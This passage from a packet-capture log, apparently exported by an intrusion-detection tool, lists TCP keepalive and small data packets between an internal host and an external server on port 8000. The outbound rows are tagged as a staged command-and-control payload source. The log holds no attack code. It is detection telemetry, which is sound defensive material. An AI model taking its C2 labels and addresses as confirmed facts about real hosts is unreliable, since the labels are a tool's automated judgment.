10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b01b400040067fd8c0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45083, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32728, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:48.937752,1184,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e5400080063e190a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45541, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15897, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:48.937778,1185,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b01c400040067fd7c0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45084, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32727, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:49.937659,1186,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e6400080063e180a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45542, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15896, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:49.937689,1187,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b01d400040067fd6c0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45085, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32726, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:50.953323,1188,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e7400080063e170a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45543, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15895, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:50.953354,1189,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b01e400040067fd5c0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45086, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32725, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:51.969026,1190,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e8400080063e160a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45544, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15894, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:51.969059,1191,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b01f400040067fd4c0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45087, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32724, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:52.968974,1192,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e9400080063e150a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45545, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15893, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:52.969005,1193,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b020400040067fd3c0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4. @.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45088, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32723, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:53.830023,1194,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=132548611 Ack=958171291,bc24112907bbbc2411360d0c08004500003db1ea400080063e000a98980bc0a3a789fa751f4007e68803391c889b50182014b3da00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45546, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15872, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548611, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 46042, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:14:53.830064,1195,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000028b021400040067fdec0a3a7890a98980b1f40fa75391c889b07e688185010003f0aeb0000,\".$.6\n..$.)....E..(.!@.@.......\n....@.u9.......P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45089, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32734, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:54.844042,1196,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1eb400080063e130a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45547, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15891, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:54.844076,1197,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b022400040067fd1c0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.\"\"@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45090, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32721, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:14:55.859672,1198,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1ec400080063e120a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45548, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15890, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:55.859706,1199,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b023400040067fd0c0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.#@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45091, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32720, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:14:56.859756,1200,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 